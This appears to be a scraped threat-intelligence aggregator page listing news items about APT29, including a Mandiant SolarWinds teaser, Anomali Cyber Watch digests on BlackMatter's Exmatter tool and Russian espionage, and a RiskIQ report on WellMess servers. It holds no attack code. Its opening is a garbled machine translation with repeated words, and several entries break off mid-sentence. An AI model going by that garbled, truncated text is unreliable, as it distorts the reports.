comme anniversaire d'un an de la découverte du Chaîne d'approvisionnement Solarwinds Passe de compromis, mandiant reste engagé à être engagé à être engagé à être engagé à engagerSuivre l'un des acteurs les plus difficiles que nous ayons rencontrés.Ces acteurs russes présumés pratiquent la sécurité opérationnelle de premier ordre et les métiers avancés.Cependant, ils sont faillibles et nous continuons à découvrir leur activité et à apprendre de leurs erreurs.En fin de compte, ils restent une menace adaptable et évolutive qui doit être étroitement étudiée par
UPDATE (May 2022): We have merged UNC2452 with APT29. The UNC2452 activity described in this post is now attributed to APT29. As the one-year anniversary of the discovery of the SolarWinds supply chain compromise passes, Mandiant remains committed to tracking one of the toughest actors we have encountered. These suspected Russian actors practice top-notch operational security and advanced tradecraft. However, they are fallible, and we continue to uncover their activity and learn from their mistakes. Ultimately, they remain an adaptable and evolving threat that must be closely studied by |
Threat | Solardwinds APT 29 | ★★★ |
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2021-11-02 15:00:00 | Anomali Cyber Watch: Russian Intelligence Targets IT Providers, Malspam Abuses Squid Games, Another npm Library Compromise, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Data leak, Critical services, Money laundering, Phishing, Ransomware, and Supply-chain. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
BlackMatter: New Data Exfiltration Tool Used in Attacks
(published: November 1, 2021)
Symantec researchers have discovered a custom data exfiltration tool, dubbed Exmatter, being used by the BlackMatter ransomware group. The same group has also been responsible for the Darkside ransomware - the variant that led to the May 2021 Colonial Pipeline outage. Exmatter is compiled as a .NET executable and obfuscated. This tool is designed to steal sensitive data and upload it to an attacker-controlled server prior to deployment of the ransomware as fast as possible. The speed is achieved via multiple filtering mechanisms: directory exclusion list, filetype whitelist, excluding files under 1,024 bytes, excluding files with certain attributes, and filename string exclusion list. Exmatter is being actively developed as three newer versions were found in the wild.
Analyst Comment: Exmatter exfiltration tool by BlackMatter is following two custom data exfiltration tools linked to the LockBit ransomware operation. Attackers try to narrow down data sources to only those deemed most profitable or business-critical to speed up the whole exfiltration process. It makes it even more crucial for defenders to be prepared to quickly stop any detected exfiltration operation.
MITRE ATT&CK: [MITRE ATT&CK] File and Directory Discovery - T1083 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 | [MITRE ATT&CK] Exfiltration Over Alternative Protocol - T1048
Tags: Exmatter, BlackMatter, Darkside, Ransomware, Exfiltration, Data loss prevention
Iran Says Israel, U.S. Likely Behind Cyberattack on Gas Stations
(published: October 31, 2021)
Iranian General Gholamreza Jalali, head of Iran’s passive defense organization, went to state-run television to blame Israel and the U.S. for an October 26, 2021 cyberattack that paralyzed gasoline stations across the country. The attack on the fuel distribution chain in Iran forced the shutdown of a network of filling stations. The incident disabled government-issued electronic cards providing subsidies that tens of millions of Iranians use to purchase fuel at discounted prices. Jalali said the attack bore similarities to cyber strikes on Iran’s rail network and the Shahid Rajaee port. The latest attack displayed a message reading "cyberattack 64411" on gas pumps when people tried to use their subsidy cards. Similarly, in July 2021, attackers targeting Iranian railroad prompted victims to call 64411, the phone number for the office of Supreme Leader Ali Khamenei.
Analyst Comment: Iran has not provided evidence behind the attribution, so |
Ransomware Malware Tool Threat Guideline | APT 29 APT 29 | |
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2021-10-12 17:41:00 | Anomali Cyber Watch: Aerospace and Telecoms Targeted by Iranian MalKamak Group, Cozy Bear Refocuses on Cyberespionage, Wicked Panda is Traced by Malleable C2 Profiles, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Data leak, Ransomware, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Russian Cyberattacks Pose Greater Risk to Governments and Other Insights from Our Annual Report
(published: October 7, 2021)
Approximately 58% of all nation-state attacks observed by Microsoft between July 2020 and June 2021 have been attributed to the Russian-sponsored threat groups, specifically to Cozy Bear (APT29, Nobelium) associated with the Russian Foreign Intelligence Service (SVR). The United States, Ukraine, and the UK were the top three targeted by them. Russian Advanced Persistent Threat (APT) actors increased their effectiveness from a 21% successful compromise rate to a 32% rate comparing year to year. They achieve it by starting an attack with supply-chain compromise, utilizing effective tools such as web shells, and increasing their skills with the cloud environment targeting. Russian APTs are increasingly targeting government agencies for intelligence gathering, which jumped from 3% of their targets a year ago to 53% – largely agencies involved in foreign policy, national security, or defense. Following Russia by the number of APT cyberattacks were North Korea (23%), Iran (11%), and China (8%).
Analyst Comment: As the collection of intrusions for potential disruption operations via critical infrastructure attacks became too risky for Russia, it refocused back to gaining access to and harvesting intelligence. The scale and growing effectiveness of the cyberespionage requires a defence-in-depth approach and tools such as Anomali Match that provide real-time forensics capability to identify potential breaches and known actor attributions.
MITRE ATT&CK: [MITRE ATT&CK] Supply Chain Compromise - T1195 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Brute Force - T1110
Tags: Fancy Bear, APT28, APT29, The Dukes, Strontium, Nobelium, Energetic Bear, Cozy Bear, Government, APT, Russia, SVR, China, North Korea, USA, UK, Ukraine, Iran
Ransomware in the CIS
(published: October 7, 2021)
Many prominent ransomware groups have members located in Russia and the Commonwealth of Independent States (CIS) - and they avoid targeting this region. Still, businesses in the CIS are under the risk of being targeted by dozens of lesser-known ransomware groups. Researchers from Kaspersky Labs have published a report detailing nine business-oriented ransomware trojans that were most active in the CIS in the first half of 2021. These ransomware families are BigBobRoss (TheDMR), Cryakl (CryLock), CryptConsole, Crysis (Dharma), Fonix (XINOF), Limbozar (VoidCrypt), Phobos (Eking), Thanos (Hakbit), and XMRLocker. The oldest, Cryakl, has been around since April 2014, and the newest, XMRLocker, was first detected in August 2020. Most of them were mainly distributed via the cracking of Remote Deskto |
Ransomware Malware Tool Threat Guideline Prediction | APT 41 APT 41 APT 39 APT 29 APT 29 APT 28 | |
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2021-07-30 03:00:54 | Experts Uncover Several C&C Servers Linked to WellMess Malware (lien direct) | Cybersecurity researchers on Friday unmasked new command-and-control (C2) infrastructure belonging to the Russian threat actor tracked as APT29, aka Cozy Bear, that has been spotted actively serving WellMess malware as part of an ongoing attack campaign.
More than 30 C2 servers operated by the Russian foreign intelligence have been uncovered, Microsoft-owned cybersecurity subsidiary RiskIQ said |
Malware Threat | APT 29 |
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